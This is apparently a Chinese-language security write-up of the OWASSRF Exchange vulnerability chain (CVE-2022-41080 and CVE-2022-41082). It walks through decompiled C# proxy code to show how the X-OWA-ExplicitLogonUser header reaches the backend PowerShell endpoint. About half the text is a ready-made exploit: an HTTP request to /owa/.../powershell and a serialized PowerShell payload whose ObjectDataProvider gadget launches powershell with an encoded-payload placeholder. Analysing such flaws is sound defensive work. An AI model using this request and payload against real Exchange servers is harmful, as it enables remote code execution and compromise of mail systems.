Microsoft
Exchange Server 2016 Cumulative Update 22
Microsoft Exchange Server 2019 Cumulative Update 11
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2019 Cumulative Update 12
Microsoft Exchange Server 2016 Cumulative Update 23.
IHttpHandler httpHandler;
if (context.Request.IsAuthenticated)
{
httpHandler = this.SelectHandlerForAuthenticatedRequest(context);
}
else
{
httpHandler = this.SelectHandlerForUnauthenticatedRequest(context);
}
// Microsoft.Exchange.HttpProxy.ProxyModule
private IHttpHandler SelectHandlerForAuthenticatedRequest(HttpContext httpContext)
{
IHttpHandler result;
try
{
IHttpHandler httpHandler;
……
else if (HttpProxyGlobals.ProtocolType == ProtocolType.Owa)
{
string absolutePath = httpContext.Request.Url.AbsolutePath;
……
else
{
httpHandler = new OwaProxyRequestHandler();
}
}
……
result = httpHandler;
}
……
return result;
}
确定handler后会通过OwaProxyRequestHandler.GetTargetBackEndServerUrl() 方法计算CAS请求后端的地址。而这个函数又调用了base.GetTargetBackEndServerUrl() 方法。OwaProxyRequestHandler的基类是OwaEcpProxyRequestHandler,而这个类没有重写GetTargetBackEndServerUrl()函数,故进一步向上直到调用到了ProxyRequestHandler类的这个方法。
// Microsoft.Exchange.HttpProxy.OwaProxyRequestHandler
protected override Uri GetTargetBackEndServerUrl()
{
Uri targetBackEndServerUrl = base.GetTargetBackEndServerUrl();
……
}
而在ProxyRequestHandler.GetTargetBackEndServerUrl() 函数中执行了this.GetClientUrlForProxy(),OwaProxyRequestHandler中没有覆写这个方法,但在OwaEcpProxyRequestHandler类中是覆写了这个函数的。根据c#的性质可知,此处会调用OwaEcpProxyRequestHandler类中覆写的GetTargetBackEndServerUrl()
// Microsoft.Exchange.HttpProxy.ProxyRequestHandler
protected virtual Uri GetTargetBackEndServerUrl()
{
this.LogElapsedTime("E_TargetBEUrl");
Uri result;
try
{
……
else
{
UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
clientUrlForProxy.Port = 444;
……
result = clientUrlForProxy.Uri;
}
}
finally
{
this.LogElapsedTime("L_TargetBEUrl");
}
return result;
}
而这个函数与去年的ProxyShell的ssrf利用点基本相同,同样是通过UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath() 方法去除请求路径中的部分内容,即this.ExplicitSignOnAddress。
protected override UriBuilder GetClientUrlForProxy()
{
UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);
if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url))
{
uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress));
}
return uriBuilder;
}
public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress)
{
ArgumentValidator.ThrowIfNull("absolutePath", absolutePath);
ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
return absolutePath.Replace("/" + explicitLogonAddress, string.Empty);
}
进一步分析this.ExplicitSignOnAddress,发现赋值位置。进一步查看text赋值位置RequestHeaderParser.TryGetExplicitLogonSmtp方法
protected override AnchorMailbox ResolveAnchorMailbox()
{
……
string text;
RequestHeaderParser.TryGetExplicitLogonSmtp(base.ClientRequest.Headers, out text);
if (anchorMailbox == null)
{
if (base.UseRoutingHintForAnchorMailbox)
{
if (!string.IsNullOrEmpty(text) && SmtpAddress.IsValidSmtpAddress(text))
{
base.IsExplicitSignOn = true;
base.ExplicitSignOnAddress = text;
base.Logger.Set(HttpProxyMetadata.RoutingHint, "ExplicitLogon-SMTP-Header");
anchorMailbox = new SmtpAnchorMailbox(text, this);
}
……
}
1. public static bool TryGetExplicitLogonSmtp(NameValueCollection headers, out string explicitLogonSmtp)
2. {
3. ArgumentValidator.ThrowIfNull("headers", headers);
4. return RequestHeaderParser.TryGetValueByName(headers, Constants.OwaExplicitLogonUser, out explicitLogonSmtp) && SmtpAddress.IsValidSmtpAddress(explicitLogonSmtp);
5. }
GET /owa/test%40gmail.com/powershell HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/[email protected]
Cookie: <CHANGE HERE>
<Obj RefId="1">
<MS>
<Obj N="PowerShell" RefId="1">
<MS>
<Obj N="Cmds" RefId="2">
<TN RefId="0">
<T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
<T>System.Object</T>
</TN>
<LST>
<Obj RefId="3">
<MS>
<S N="Cmd">Get-Mailbox</S>
<B N="IsScript">false</B>
<Nil N="UseLocalScope" />
<Obj N="MergeMyResult" RefId="4">
<TN RefId="1">
<T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeToResult" RefId="5">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergePreviousResults" RefId="6">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeError" RefId="7">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeWarning" RefId="8">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeVerbose" RefId="9">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeDebug" RefId="10">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeInformation" RefId="11">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="Args" RefId="12">
<TNRef RefId="0" />
<LST>
<Obj RefId="13">
<MS>
<S N="N">-Identity:</S>
<Obj N="V" RefId="14">
<TN RefId="2">
<T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
<T>System.Object</T>
</TN>
<ToString>Object</ToString>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>
<S>
<![CDATA[<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"><ObjectDataProvider.ObjectInstance><sd:Process><sd:Process.StartInfo><sd:ProcessStartInfo Arguments="-e $$POWERSHELL_ENCODE_PAYLOAD_HERE$$" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell" /></sd:Process.StartInfo></sd:Process></ObjectDataProvider.ObjectInstance></ObjectDataProvider>]]>
</S>
</Obj>
</MS>
</Obj>
</LST>
</Obj>
</MS>
</Obj>
</LST>
</Obj>
<B N="IsNested">false</B>
<Nil N="History" />
<B N="RedirectShellErrorOutputPipe">true</B>
</MS>
</Obj>
<B N="NoInput">true</B>
<Obj N="ApartmentState" RefId="16">
<TN RefId="4">
<T>System.Threading.ApartmentState</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>Unknown</ToString>
<I32>2</I32>
</Obj>
<Obj N="RemoteStreamOptions" RefId="17">
<TN RefId="5">
<T>System.Management.Automation.RemoteStreamOptions</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>0</ToString>
<I32>0</I32>
</Obj>
<B N="AddToHistory">true</B>
<Obj N="HostInfo" RefId="18">
<MS>
<B N="_isHostNull">true</B>
<B N="_isHostUINull">true</B>
<B N="_isHostRawUINull">true</B>
<B N="_useRunspaceHost">true</B>
</MS>
</Obj>
<B N="IsNested">false</B>
</MS>
</Obj>
漏洞复现
[1] OWASSRF: CrowdStrike Identifies New Method for Bypassing ProxyNotShell Mitigations
[2] CVE-2022-41080 - Security Update Guide - Microsoft - Microsoft Exchange Server Elevation of Privilege Vulnerability
[3] CVE-2022-41082 - Security Update Guide - Microsoft - Microsoft Exchange Server Remote Code Execution Vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2022-41080
[5] https://nvd.nist.gov/vuln/detail/CVE-2022-41082
[6] https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41080
[7] https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41082